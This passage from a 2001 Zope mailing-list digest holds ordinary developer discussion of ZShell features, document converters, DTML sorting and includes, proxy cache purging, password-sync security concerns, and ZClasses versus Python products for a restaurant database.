maybe for use in a python product ? > > thx > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From tom@othermedia.com Fri May 4 19:48:58 2001 From: tom@othermedia.com (tom smith) Date: Fri, 04 May 2001 19:48:58 +0100 Subject: [Zope] Xron not firing reliably In-Reply-To: Message-ID: I've been having the same problems. After I upgraded my zope from 2.1 to 2.2.3, they worked fine before that. Cheers Tom -- tom smith | tom@othermedia.com http://www.othermedia.com/blog tel 020 8541 5355 | fax 020 8541 5507 11 penrhyn road, kingston-upon-thames, london KT1 2BZ From cbeaumon@msri.org Fri May 4 19:55:33 2001 From: cbeaumon@msri.org (Chris Beaumont) Date: Fri, 04 May 2001 11:55:33 -0700 Subject: [Zope] Summarization and Zope References: <3ADFB0C8.67C1B22E@artlover.com> <001901c0d402$1a712660$ae03a8c0@activestate.com> <3AF2DE70.445EEC2@artlover.com> Message-ID: <3AF2FB22.A71E4245@msri.org> Hi Assum, It's 'HTML::Summary' http://search.cpan.org/doc/TGROSE/HTML-Summary-0.017/lib/HTML/Summary.pm (I'm enclosing the info for it at the bottom of the page) What I was thinking is that it might be possible to parse a given rendered page just before actually delivering it in the RESPONSE object, and insert a short summary in the meta-description tag.. on the fly.. I also wouldnt be suprised if the PERL summarization module might also be able to be coaxed to give us keywords.. (the 'fork words' in the 'tree') There are two guys at a company called Glucose that make a similar tree-summarization product for the Mac, (it works amazingly well) and I suggested a similar thing for them around two years ago (to be used with static pages..) and they actually turned my idea into a commercial product.. Unfortunately, it is Mac only and cant be used with Zope.. I didnt ask them for any money, but they did put my name in the about box *laugh*. Of course now that I'm building sites in Zope, it's not really practical for me to use anymore. But I really miss that functionality.. I work on a scientific site and as we move more and more of it to Zope, the ability to generate a good meta-tag summary automatically would be a godsend. This insert doesn't sound like it would be difficult.. I'm doing a similar thing with titles for some of the pages on the Zope part of my site.. I'm just not enough of a PERL hacker to know the best way to go about creating the hooks between Zope and PERL.. -Chris Ausum wrote: > > Chris, Would you please specify what is the summarization module you've known > about? I've been at CPAN, but no result is given to a "summarization" keyword > search. I'm glad you're as interested as me. > > It's cool to know we can count on you, Andy. I haven't tried Perl for Zope, but > I will this very afternoon. > > Ausum > > Andy McKay wrote: > > > > > Maybe you could hook the PERL module up to Zope somehow.. > > > > Thats easy, call it straight from Zope or wrap it in a product. If you need > > help on this drop me a line. > > > > Cheers. > > -- > > Andy McKay. _________________________cut here____________________________ > NAME > > HTML::Summary - module for generating a summary from a web page. > > > > SYNOPSIS > > use HTML::Summary; > use HTML::TreeBuilder; > > > my $tree = new HTML::TreeBuilder; > $tree->parse( $document ); > > > my $summarizer = new HTML::Summary( > LENGTH => 200, > USE_META => 1, > ); > > > $summary = $summarizer->generate( $tree ); > $summarizer->option( 'USE_META' => 1 ); > $length = $summarizer->option( 'LENGTH' ); > if ( $summarizer->meta_used( ) ) > { > do something > } > > > > > DESCRIPTION > > The HTML::Summary module produces summaries from the textual content of web pages. It does so using the location heuristic, which determines the value of a given sentence based on its > position and status within the document; for example, headings, section titles and opening paragraph sentences may be favoured over other textual content. A LENGTH option can be used > to restrict the length of the summary produced. > > > > CONSTRUCTOR > > new( $attr1 => $value1 [, $attr2 => $value2 ] ) > > Possible attributes are: > > VERBOSE > Generate verbose messages to STDERR. > > LENGTH > Maximum length of summary (in bytes). Default is 500. > > USE_META > Flag to tell summarizer whether to use the content of the tag in the page header, if one is present, instead of generating a summary from the body text. Note that if the > USE_META flag is set, this overrides the LENGTH flag - in other words, the summary provided by the tag is returned in full, even if it is greater than LENGTH bytes. > Default is 0 (no). > > my $summarizer = new HTML::Summary LENGTH => 200; > > > > > METHODS > > option( ) > > Get / set HTML::Summary configuration options. > > my $length = $summarizer->option( 'LENGTH' ); > $summarizer->option( 'USE_META' => 1 ); > > > generate( $tree ) > > Takes an HTML::Element object, and generates a summary from it. > > my $tree = new HTML::TreeBuilder; > $tree->parse( $document ); > my $summary = $summarizer->generate( $tree ); > > > meta_used( ) > > Returns 1 if the META tag description was used to generate the summary. > > if ( $summarizer->meta_used() ) > { > # do something ... > } > > > > > SEE ALSO > > HTML::TreeBuilder > Text::Sentence > Lingua::JA::Jcode > Lingua::JA::Jtruncate > > > > > AUTHORS > > Ave Wrigley > Tony Rose > Neil Bowers > > > > > COPYRIGHT > > Copyright (c) 1997 Canon Research Centre Europe (CRE). All rights reserved. This script and any associated documentation or files cannot be distributed outside of CRE without express > prior permission from CRE. > From simon@joyful.com Fri May 4 19:46:21 2001 From: simon@joyful.com (Simon Michael) Date: 04 May 2001 11:46:21 -0700 Subject: [Zope] [ANN] ZShell 0.1 In-Reply-To: (Jerome Alet's message of "Fri, 4 May 2001 17:03:26 +0200 (MET DST)") References: Message-ID: <87vgnhx88y.fsf@joyful.com> Hi Jerome, woa! The new features sound cool. Why did you switch to an external method, as a matter of interest ? Jerome Alet writes: > Do you prefer that grep and/or sed work on the main content only or also > on properties for each object ? It's not evident what I should do. see object/folder notion below > Do you prefer for the history to be stored as a property of the root > folder, a property of each different folder in which you use zshell, or as > an external file ? why, all of the above of course :) Seriously.. history ? Is it worthwhile ? > Do you want ls to stay simple and use find when you want complicated > things or do you want both ls and find to be complicated ? (I already know > the answer) > > Doing .zsh scripts I don't know how, neither do I for "if", "for" and > "while" > > Do you want to be able to set environnement variables ? Is it possible or > not ? If yes, I don't know, so any help is appreciated. I think simpler is better for now. But, now that you mention it, how about - "name=value" sets attribute "name" of the current folder - "$name" returns the value of attribute name - also "some/path/name = value", "$(some/path/name)" and then perhaps - treat objects as folders, whose contents are their attributes. If an object or folder is used as a scalar as above, get or set it's "primary value" > The Secret Ideas for next week (if possible at all) : > > su > python aaah! you maniac :) This is sounding like a super power tool. -Simon From Menard.Jean-Francois@hydro.qc.ca Fri May 4 20:00:22 2001 From: Menard.Jean-Francois@hydro.qc.ca (Menard.Jean-Francois@hydro.qc.ca) Date: Fri, 4 May 2001 15:00:22 -0400 Subject: [Zope] LiveLink "converters" Message-ID: <139EE72D26C0D411845F00508BF9398E01115FDE@msxg2mtl1.hydro.qc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0D4CC.784AD180 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable We just got a demo of LiveLink, a document manager system. They have = an Intranet module wich is REALLY like the Zope one. In fact, it's almost = de same! I found a number of similar functionalities between them, but = there is a couple of features in LiveLink wich I found interesting: - If a user upload a document, the programmer can use it directly. = There are automatics converters for many formats: PDF to HTML, Excel to HTML, = Word to HTML, Word to PDF, etc. You can develop your own converters if tou = want. Example: Someone upload a report in Excel. In your website, you can put a link to a PDF version, or show it in HTML automatically! =20 - When a user is logged, he sees only the documents he can manage! = Much simpler interface! - The interface is internalionalized. So, I guest my questions are: - Any plan for a Zope interface internationalisation ? I know, we could translate the interface ourself, but we want to upgrade = sometimes... - Any plan for "converters" ? I think it would be fairly easy, no? - Could hiding unauthorized objects been possible? I know that I can manage that in DTML, but I mean in the default management = interface? Any thoughs? Jean-Fran=E7ois M=E9nard Intranet DPAS Pratiques d'affaires et orientations * (514) 840-3000 poste 3939 * (514) 840-5585 * menard.jean-francois@hydro.qc.ca * 855 Ste-Catherine est, 6e =E9tage Montr=E9al, Qu=E9. H2L 4P5 ------_=_NextPart_001_01C0D4CC.784AD180 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable LiveLink "converters"

We just got a demo of LiveLink, a document manager = system.  They have an Intranet module wich is REALLY like the Zope = one.  In fact, it's almost de same!  I found a number of = similar functionalities between them, but there is a couple of features = in LiveLink wich I found interesting:

- If a user upload a document, the programmer can use = it directly.  There are automatics converters for many formats: = PDF to HTML, Excel to HTML, Word to HTML, Word to PDF, etc.  You = can develop your own converters if tou want.

        Example:  Someone upload a report in Excel.  In your = website, you can put a link to a PDF version, or show it in HTML = automatically! 

- When a user is logged, he sees only the documents = he can manage!  Much simpler interface!

- The interface is internalionalized.

So, I guest my questions are:

        - Any plan = for a Zope interface internationalisation ?  I know, we could = translate the interface ourself, but we want to upgrade = sometimes...

        - Any plan = for "converters" ?  I think it would be fairly easy, = no? 

        - Could = hiding unauthorized objects been possible?  I  know that I = can manage that in DTML, but I mean in the default management = interface?

Any thoughs?

Jean-Fran=E7ois M=E9nard
Intranet DPAS
Pratiques d'affaires et orientations
*        (514) = 840-3000  poste 3939
*  (514) 840-5585
*  menard.jean-francois@hydro.qc.ca
*         = 855 Ste-Catherine est, 6e =E9tage
          &nb= sp;   Montr=E9al, Qu=E9. H2L 4P5

------_=_NextPart_001_01C0D4CC.784AD180-- From simon@joyful.com Fri May 4 19:54:46 2001 From: simon@joyful.com (Simon Michael) Date: 04 May 2001 11:54:46 -0700 Subject: [Zope] [ANN] ZShell 0.1 In-Reply-To: <87vgnhx88y.fsf@joyful.com> (Simon Michael's message of "04 May 2001 11:46:21 -0700") References: <87vgnhx88y.fsf@joyful.com> Message-ID: <87pudpx7ux.fsf@joyful.com> Simon Michael writes: > Seriously.. history ? Is it worthwhile ? PS - here's one place it would be useful. It's cool that you can undo a zshell command batch (thanks zodb!) - it would be even better if we could get the commands displayed in the undo list. One more for the idea list. From Menard.Jean-Francois@hydro.qc.ca Fri May 4 20:21:53 2001 From: Menard.Jean-Francois@hydro.qc.ca (Menard.Jean-Francois@hydro.qc.ca) Date: Fri, 4 May 2001 15:21:53 -0400 Subject: [Zope] LiveLink "converters" Message-ID: <139EE72D26C0D411845F00508BF9398E0111611F@msxg2mtl1.hydro.qc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0D4CF.7A292710 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sorry for HTML! I tough I used "text", but I guess I didn't... Sorry! -----Message d'origine----- De : Menard.Jean-Francois@hydro.qc.ca [mailto:Menard.Jean-Francois@hydro.qc.ca] Envoy=E9 : vendredi 4 mai 2001 15:00 =C0 : zope@zope.org Objet : [Zope] LiveLink "converters" We just got a demo of LiveLink, a document manager system. They have = an Intranet module wich is REALLY like the Zope one. In fact, it's almost = de same! I found a number of similar functionalities between them, but = there is a couple of features in LiveLink wich I found interesting: - If a user upload a document, the programmer can use it directly. = There are automatics converters for many formats: PDF to HTML, Excel to HTML, = Word to HTML, Word to PDF, etc. You can develop your own converters if tou = want. Example: Someone upload a report in Excel. In your website, = you can put a link to a PDF version, or show it in HTML automatically! =20 - When a user is logged, he sees only the documents he can manage! = Much simpler interface!=20 - The interface is internalionalized.=20 So, I guest my questions are:=20 - Any plan for a Zope interface internationalisation ? I know, = we could translate the interface ourself, but we want to upgrade = sometimes... - Any plan for "converters" ? I think it would be fairly easy, = no? - Could hiding unauthorized objects been possible? I know = that I can manage that in DTML, but I mean in the default management = interface? Any thoughs?=20 Jean-Fran=E7ois M=E9nard=20 Intranet DPAS=20 Pratiques d'affaires et orientations=20 * (514) 840-3000 poste 3939=20 * (514) 840-5585=20 * menard.jean-francois@hydro.qc.ca=20 * 855 Ste-Catherine est, 6e =E9tage=20 Montr=E9al, Qu=E9. H2L 4P5=20 ------_=_NextPart_001_01C0D4CF.7A292710 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [Zope] LiveLink "converters"

Sorry for HTML!  I tough I used = "text", but I guess I didn't... Sorry!
-----Message d'origine-----
De : Menard.Jean-Francois@hydro.qc.ca [
mailto:Menard.Jean-Fran= cois@hydro.qc.ca]
Envoy=E9 : vendredi 4 mai 2001 15:00
=C0 : zope@zope.org
Objet : [Zope] LiveLink = "converters"


We just got a demo of LiveLink, a document manager = system.  They have an Intranet module wich is REALLY like the Zope = one.  In fact, it's almost de same!  I found a number of = similar functionalities between them, but there is a couple of features = in LiveLink wich I found interesting:

- If a user upload a document, the programmer can use = it directly.  There are automatics converters for many formats: = PDF to HTML, Excel to HTML, Word to HTML, Word to PDF, etc.  You = can develop your own converters if tou want.

        = Example:  Someone upload a report in Excel.  In your website, = you can put a link to a PDF version, or show it in HTML = automatically! 

- When a user is logged, he sees only the documents = he can manage!  Much simpler interface!
- The interface is internalionalized.
So, I guest my questions are:
        - Any = plan for a Zope interface internationalisation ?  I know, we could = translate the interface ourself, but we want to upgrade = sometimes...

        - Any plan = for "converters" ?  I think it would be fairly easy, = no? 
        - Could = hiding unauthorized objects been possible?  I  know that I = can manage that in DTML, but I mean in the default management = interface?

Any thoughs?
Jean-Fran=E7ois M=E9nard
Intranet DPAS
Pratiques d'affaires et orientations
*        (514) = 840-3000  poste 3939
*  (514) 840-5585
*  menard.jean-francois@hydro.qc.ca
*         = 855 Ste-Catherine est, 6e =E9tage
          &nb= sp;   Montr=E9al, Qu=E9. H2L 4P5

------_=_NextPart_001_01C0D4CF.7A292710-- From dieter@handshake.de Fri May 4 19:50:59 2001 From: dieter@handshake.de (Dieter Maurer) Date: Fri, 4 May 2001 20:50:59 +0200 (CEST) Subject: [Zope] Uploading images - no image! In-Reply-To: <375143795@toto.iv> Message-ID: <15090.64019.204379.124552@lindm.dm> Etienne Labuschagne writes: > The Python Method (not external Python Method!) below must upload an image "Python Method" has been superceded by "Python Script". Fewer and fewer people will know about "Python Method". You may consider upgrading to "Python Script" as an appropriate time in the future. > .... > self.manage_addProduct['OFSP'].manage_addImage(id,file,title) > ... create image but without (wrong?) date ... Apparently, your "file" does not have the correct type. This may happen, if the "enctype" attribute if your "form" is not "multipart/form-data" (as someone else already told you). Note, that it must be "multipart/form-data" and *NOT* the content type of your image! Dieter From dieter@handshake.de Fri May 4 19:41:51 2001 From: dieter@handshake.de (Dieter Maurer) Date: Fri, 4 May 2001 20:41:51 +0200 (CEST) Subject: [Zope] Changing the UNIX passwd from zope / python script In-Reply-To: <71908632@toto.iv> Message-ID: <15090.63471.382003.921852@lindm.dm> Bobby Mathew writes: > I needed to be able to change the passwd of a current zope user to sync his > passwords with my database. Is this possible ? I could provide an interface > and user could confirm the new password and then i could also sync his UNIX > password to the same !!! I am a newbie to both zope and python so i would > need explicit instructions if there is a solution. Are you really sure, you want this? Unless you use HTTPS (or another secured transport), your passwords are send with each request almost in plain form (if you use Basic Authentication, Zope's default). It is not too difficult to snif network traffic. In the above mentioned setup, your Zope passwords are not very secure. If Zope and Unix passwords are identical, your Unix passwords are neither... I definitely would not want to have this. If I would, I would look for the PAM module (there is a Python wrapper, but it requires root privileges). Alternatively, I would use a PTY (pseudo terminal) and automate 'passwd'. Dieter From dieter@handshake.de Fri May 4 18:51:30 2001 From: dieter@handshake.de (Dieter Maurer) Date: Fri, 4 May 2001 19:51:30 +0200 (CEST) Subject: [Zope] #include with DocumentTemplate? In-Reply-To: <155993789@toto.iv> Message-ID: <15090.60450.23133.351939@lindm.dm> Lance E Sloan writes: > I'm writing some CGIs in Python and I borrowed the DocumentTemplate > module from Zope because it does most of what I need. However, there's > one thing that it apparently doesn't do that I would really like. And > that would be to use "#include" tags to read in other DTML documents > and parse them. That is, tags like this: > > > > Does DocumentTemplate already handle that? I couldn't find it in the > documentation. Apparently, you look at the wrong documentation. Did you look at the Zope book or the DTML section of URL:http://www.dieter.handshake.de/pyprojects/zope/book/chap3.html ? "dtml-var" can include any object: attributes, property values, functions and methods without arguments (they are called before inclusion), DTML objects (they are called with parameters 'None' and the current DTML namespace), Scripts (they are called with the DTML namespace and possible further parameters from the environment, if configured). Usually, DTML objects must already be objects and not file names. Thus, you should already have transformed your files into DTML objects (there are special classes for that), and put them in the DTML namespace (passing either a mapping or keyword arguments to your top level DTML object call). Dieter From dieter@handshake.de Fri May 4 18:56:44 2001 From: dieter@handshake.de (Dieter Maurer) Date: Fri, 4 May 2001 19:56:44 +0200 (CEST) Subject: [Zope] Strange ODB/folder problem In-Reply-To: <1071734881@toto.iv> Message-ID: <15090.60764.620943.317293@lindm.dm> Scott writes: > I have about 300 folder objects in my ODB. Running 2.1.6 on Linux. One (and > maybe more) of the folders are not accessable by top-level admin or manager. > ... > Error Type: TypeError > Error Value: attribute-less object (assign or del) > > TraceBack: Traceback (innermost last): File > .... > /usr/local/Zope-2.1.6-src/lib/python/Products/ZDBase/ZDiscussions.py, line > 195, in manage_beforeDelete (Object: 971638688) TypeError: attribute-less > object (assign or del) Apparently, you have a broken "ZDiscussion" installation. I think, you have (at least) two options: 1. install a working ZDiscussion product 2. if this is impossible: empty the current definition of "manage_beforeDelete" in "Products/ZDBase/ZDiscussions.py" line 195 (replace its content by "pass"). Enter your folder, delete the ZDiscussion objects, and then get rid of ZDiscussion altogether. Dieter From alet@unice.fr Fri May 4 20:26:06 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 21:26:06 +0200 Subject: [Zope] [ANN] ZShell 0.1 In-Reply-To: <87pudpx7ux.fsf@joyful.com>; from simon@joyful.com on Fri, May 04, 2001 at 11:54:46AM -0700 References: <87vgnhx88y.fsf@joyful.com> <87pudpx7ux.fsf@joyful.com> Message-ID: <20010504212606.B562@nordine.ateur> On Fri, May 04, 2001 at 11:54:46AM -0700, Simon Michael wrote: > Simon Michael writes: > > Seriously.. history ? Is it worthwhile ? > > PS - here's one place it would be useful. It's cool that you can undo > a zshell command batch (thanks zodb!) - it would be even better if we > could get the commands displayed in the undo list. > > One more for the idea list. Yes, and another very good one ! bye, Jerome From alet@unice.fr Fri May 4 20:27:23 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 21:27:23 +0200 Subject: [jerome: Re: [Zope] [ANN] ZShell 0.1] Message-ID: <20010504212723.A605@nordine.ateur> --uAKRQypu60I7Lcqm Content-Type: text/plain; charset=us-ascii Sorry, forgotten the CC to the list. Jerome Alet --uAKRQypu60I7Lcqm Content-Type: message/rfc822 Date: Fri, 4 May 2001 21:25:35 +0200 From: Jerome Alet To: Simon Michael Subject: Re: [Zope] [ANN] ZShell 0.1 Message-ID: <20010504212535.A562@nordine.ateur> References: <87vgnhx88y.fsf@joyful.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <87vgnhx88y.fsf@joyful.com>; from simon@joyful.com on Fri, May 04, 2001 at 11:46:21AM -0700 On Fri, May 04, 2001 at 11:46:21AM -0700, Simon Michael wrote: > > woa! The new features sound cool. Why did you switch to an external > method, as a matter of interest ? to be able to access all the needed standard modules, especially re, even if it's not used yet, as well as having a full access to Python power. > I think simpler is better for now. But, now that you mention it, how > about > > - "name=value" sets attribute "name" of the current folder > - "$name" returns the value of attribute name > - also "some/path/name = value", "$(some/path/name)" What a nice idea ! > and then perhaps > > - treat objects as folders, whose contents are their attributes. If an > object or folder is used as a scalar as above, get or set it's > "primary value" I don't think I'll do that because it's confusing what the behaviour of some methods would be then. bye, Jerome Alet --uAKRQypu60I7Lcqm-- From dieter@handshake.de Fri May 4 19:32:57 2001 From: dieter@handshake.de (Dieter Maurer) Date: Fri, 4 May 2001 20:32:57 +0200 (CEST) Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <278511686@toto.iv> Message-ID: <15090.62937.46920.564769@lindm.dm> bak (kedai) writes: > > > > Assuming version 2.3, try: > > > > > sort_expr="bobo_modification_time()"> > > > > since it is a method. Do not believe this! The value of the "sort" attribute is a comma separated sequence of field names. A field name is either the name of a member or a parameterless function/method (maybe acquired). The sequence is lexicographically sorted with respect to the values of these fields. Thus, you have "sort=bobobase_modification_time". > what's the difference between using sort and sort_expr? the sort=something > has been there since forever :) and i have been using it in my codes. is it > something bad? "sort_expr" is nothing bad. With "sort" your sort specification is constant. You can say, sort first according to "time" then to "id". But you cannot say, sort according to the field name currently held in variable "sort_by". This is necessary for such nice "sort" features found wide spread: click on a column head and the content is sorted with respect to this column... You would use "sort_expr=sort_by" for this. The value of "sort_expr" must evaluate to a sort specification. The specification is interpreted in the same way as when given directly to sort. But it can be computed, it no longer is constant... More info URL:http://www.dieter.handshake.de/pyprojects/zope/book/chap3.html Dieter From Oliver Bleutgen Fri May 4 20:25:28 2001 From: Oliver Bleutgen (Oliver Bleutgen) Date: Fri, 4 May 2001 21:25:28 +0200 Subject: [Zope] =?ISO-8859-1?Q?Re:_[Zope]_LiveLink_=22converters=22?= Message-ID: Hi, > - Any plan for "converters" ? I think it would be fairly easy, no? No, this ain't easy. Just ask the abiword,staroffice etc. guys. But take a look at http://www.zope.org/Members/eric/MSWordDocument which uses wvware (www.wvware.com) to convert msword documents into html. But its easy to get all the various formats (html, ps, pdf, ascii, wml) which wvware can export. > - Could hiding unauthorized objects been possible? I know that I > can manage that in DTML, but I mean in the default management interface? Just one question, on what basis do you want to hide the objects (i.e. based on what permission). We have documents people should be able to view in order to see effects of changes they made on other elements, but not able to change the document itself. If these documents weren't visible in the management screen people would get confused, I fear. Perhaps using semi-transparent icons could be used to give users some idea that the regarding file is restricted in some sense, but I'm sceptical. cheers, oliver From dave@kovach.com Fri May 4 21:01:33 2001 From: dave@kovach.com (dave@kovach.com) Date: 4 May 2001 13:01:33 -0700 Subject: [Zope] LiveLink "converters" Message-ID: <20010504200133.20191.cpmta@c000.snv.cp.net> Hi - The converters are easier than people might think... Once you get the data sucked down into an xml file - there are different java classes (no reason they couldnt be python-ized) to build the xml into a PDF etc. I am curious about the internationalization of the zope interface, but more importantly is having provisions to have a ZOPE'ed site be presented in MANY languages. Havent looked this up yet. But, to do it right - it can get pretty tricky. Java has books and books on the subject. But, again with Python - since everything is always easier in Python :) - it probably is 1% of the lines of Java code etc... Hmmm? David Kovach dave@kovach.com On Fri, 04 May 2001, Menard.Jean-Francois@hydro.qc.ca wrote: > > > > > > > RE: [Zope] LiveLink "converters" > > > >

Sorry for HTML!  I tough I used "text", but I guess I didn't... Sorry! >
-----Message d'origine----- >
De : Menard.Jean-Francois@hydro.qc.ca [mailto:Menard.Jean-Francois@hydro.qc.ca] >
Envoyé : vendredi 4 mai 2001 15:00 >
À : zope@zope.org >
Objet : [Zope] LiveLink "converters" >

>
> >

We just got a demo of LiveLink, a document manager system.  They have an Intranet module wich is REALLY like the Zope one.  In fact, it's almost de same!  I found a number of similar functionalities between them, but there is a couple of features in LiveLink wich I found interesting:

> >

- If a user upload a document, the programmer can use it directly.  There are automatics converters for many formats: PDF to HTML, Excel to HTML, Word to HTML, Word to PDF, etc.  You can develop your own converters if tou want.

> >

        Example:  Someone upload a report in Excel.  In your website, you can put a link to a PDF version, or show it in HTML automatically! 

> >

- When a user is logged, he sees only the documents he can manage!  Much simpler interface! >
- The interface is internalionalized. >
So, I guest my questions are: >
        - Any plan for a Zope interface internationalisation ?  I know, we could translate the interface ourself, but we want to upgrade sometimes...

> >

        - Any plan for "converters" ?  I think it would be fairly easy, no?  >
        - Could hiding unauthorized objects been possible?  I  know that I can manage that in DTML, but I mean in the default management interface?

> >

Any thoughs? >
Jean-François Ménard >
Intranet DPAS >
Pratiques d'affaires et orientations >
*        (514) 840-3000  poste 3939 >
*  (514) 840-5585 >
*  menard.jean-francois@hydro.qc.ca >
*         855 Ste-Catherine est, 6e étage >
              Montréal, Qué. H2L 4P5 >

> > > _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From arkbit@yahoo.com Fri May 4 23:03:28 2001 From: arkbit@yahoo.com (Arkaitz) Date: 05 May 2001 00:03:28 +0200 Subject: [Zope] database design question Message-ID: <989013808.1443.7.camel@basajaun> Hi all, I am starting to design a web app, which will have a database consisting of 5000 to 10000 restaurants, which could potentially grow, but not much more. I'm a newbye to Zope,and initially my idea was to keep all the data in a MySQL DB, and access it from Zope. I need to do some very flexible queries and searches on the DB, and I've found that Z SQL Methods get quite awkward easily. I am thinking now about a pure-Zope (ZOBD) solution. I have thought about using a ZClass for each restaurant and keeping them organized in directories with the next hierarchy: County/City/Restaurant Is this a reasonable idea at all to do? I can write Python, and would like to avoid DTML for non-presentation tasks as much as possible. Also, I would need to be able to do queries of the style "give me restaurants that sell chinese food anywhere in this region/city". I appreciate any recommendation or resource that can help me make a good decision. TIA, Arkaitz. From Oliver Bleutgen Fri May 4 22:45:41 2001 From: Oliver Bleutgen (Oliver Bleutgen) Date: Fri, 4 May 2001 23:45:41 +0200 Subject: [Zope] Question about cache management Message-ID: > On Fri, 4 May 2001 16:04:06 +0200, Oliver Bleutgen > wrote: >>Has anybody found a nice strategy to cleverly >>handle this kind of situation? > Two options: > PULL: scrounge modification times from all the individual objects that > make up your page, every time the page is requested. > PUSH: modify the critical methods that modify the state of the objects > that make up your page, so that they maintain some global > last-modified value. > The best solution may be a combination of both. I would tend to the second option (right now the objects are all instances of the same zclass, so I have to touch just one "edit"-method). One problem is that there's still a timespan in which the proxy will deliver old content, and the problem is to purge the stale cached content - I'm talking about apache's mod_proxy here, which seems not to have a "purge" like squid. My idea is to extend the "push" method to also get the page with zclient with the headers pragma: no-cache cache-control: no-cache in order to get mod_proxy to revalidate the document. Any ideas someone if this is an ok approach? cheers, oliver From lsloan@umich.edu Fri May 4 22:56:22 2001 From: lsloan@umich.edu (Lance E Sloan) Date: Fri, 04 May 2001 17:56:22 -0400 Subject: [Zope] #include with DocumentTemplate? In-Reply-To: Your message of "Fri, 04 May 2001 19:51:30 +0200." <15090.60450.23133.351939@lindm.dm> Message-ID: <200105042156.RAA13107@birds.us.itd.umich.edu> Dieter Maurer wrote: > Apparently, you look at the wrong documentation. Perhaps I did. Or maybe I just didn't understand it properly. > Did you look at the Zope book or the DTML section of > URL:http://www.dieter.handshake.de/pyprojects/zope/book/chap3.html I hadn't and I'm sure that's part of the problem. As I said, I'm not really using Zope, I just borrowed DocumentTemplate from it to use with my Python CGIs. I had thought about using Zope for this project I'm working on, but decided on trying just Python, since I thought that learning Zope in addition to learning Python would take too much time. So, I don't have any Zope books at the moment. It's very helpful to see your version of Zope documentation and examples. Is your online book finished? It looks like parts (the introduction) are missing. -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Perl & Python CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From kosh@aesaeion.com Fri May 4 16:05:41 2001 From: kosh@aesaeion.com (kosh@aesaeion.com) Date: Fri, 4 May 2001 15:05:41 +0000 (UTC) Subject: [Zope] database design question In-Reply-To: <989013808.1443.7.camel@basajaun> Message-ID: One thing I highly recommend is not using zclasses. Learn enough of python products to do a restaurant as a python product. Long term they are more maintainable and more reliable from my experience. I have not been happy with zclasses for many reasons. With the kind of load you will have a python product will probably be best. On 5 May 2001, Arkaitz wrote: > Hi all, > > I am starting to design a web app, which will have a database consisting > of 5000 to 10000 restaurants, which could potentially grow, but not much > more. > I'm a newbye to Zope,and initially my idea was to keep all the data in a > MySQL DB, and access it from Zope. I need to do some very flexible > queries and searches on the DB, and I've found that Z SQL Methods get > quite awkward easily. > I am thinking now about a pure-Zope (ZOBD) solution. I have thought > about using a ZClass for each restaurant and keeping them organized in > directories with the next hierarchy: > County/City/Restaurant > Is this a reasonable idea at all to do? I can write Python, and would > like to avoid DTML for non-presentation tasks as much as possible. > Also, I would need to be able to do queries of the style > "give me restaurants that sell chinese food anywhere in this > region/city". > > I appreciate any recommendation or resource that can help me make a good > decision. > > TIA, > Arkaitz. > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From sven.fischer@gargl.net Fri May 4 23:01:40 2001 From: sven.fischer@gargl.net (Sven Fischer) Date: Sat, 5 May 2001 00:01:40 +0200 Subject: [Zope] database design question In-Reply-To: Message-ID: --- One thing I highly recommend is not using zclasses. Learn enough of python products to do a restaurant as a python product. Long term they are more maintainable and more reliable from my experience. I have not been happy with zclasses for many reasons. With the kind of load you will have a python product will probably be best. --- could you elaborate more on that by giving the reasons why not to use zclasses in some/all situations ? thanx, $ven From kosh@aesaeion.com Fri May 4 16:14:32 2001 From: kosh@aesaeion.com (kosh@aesaeion.com) Date: Fri, 4 May 2001 15:14:32 +0000 (UTC) Subject: [Zope] database design question In-Reply-To: Message-ID: One thing I have noticed problems with is that I have had zclasses break more then a few times. Once that happens it does not seem that they can be fixed. Often I have seen situations where all instances were broken but new ones could be created with no problems. I have not ever seen that behavior with a python product. Another issue is that zclasses can not be easily reclassed or expanded later like a python product can. If you decide later that your object should have been catalog aware you are in trouble because it can't just be reclassed. ZClasses strike me as a testing type idea wheren you quickly prototype something then write it in a python product. However once you know python well enough it is faster to write it in python then to work with a ZClass. On Sat, 5 May 2001, Sven Fischer wrote: > --- > One thing I highly recommend is not using zclasses. Learn enough of python > products to do a restaurant as a python product. Long term they are more > maintainable and more reliable from my experience. I have not been happy > with zclasses for many reasons. With the kind of load you will have a > python product will probably be best. > --- > > could you elaborate more on that by giving the reasons why not to use > zclasses in some/all situations ? > > thanx, > > $ven > From troy.farrell@wcg.com Wed May 2 23:00:51 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Wed, 2 May 2001 17:00:51 -0500 Subject: [Zope] Announce: GreetingCard-0.2 (development) Message-ID: Cool! I can't wait to see the PDF stuffs. You might want to make the id's randomly generated and sort by titles, though. Also, I got a Zope error from the add button after previewing the created card. Apparently, the form on the preview page fails to pass REQUEST['id'] to whatever method the add button is invoking. I'd like to try it here. Let us know when you have a download URL. Troy It's so Exciting(TM) to see all the new announcements recently: Zope Book, French Zope Book, This, and the audio product. Go Zope! -----Original Message----- From: Ed Colmar [mailto:edc@mail.8days.com] Sent: Wednesday, May 02, 2001 1:48 PM To: zope@zope.org Subject: [Zope] Announce: 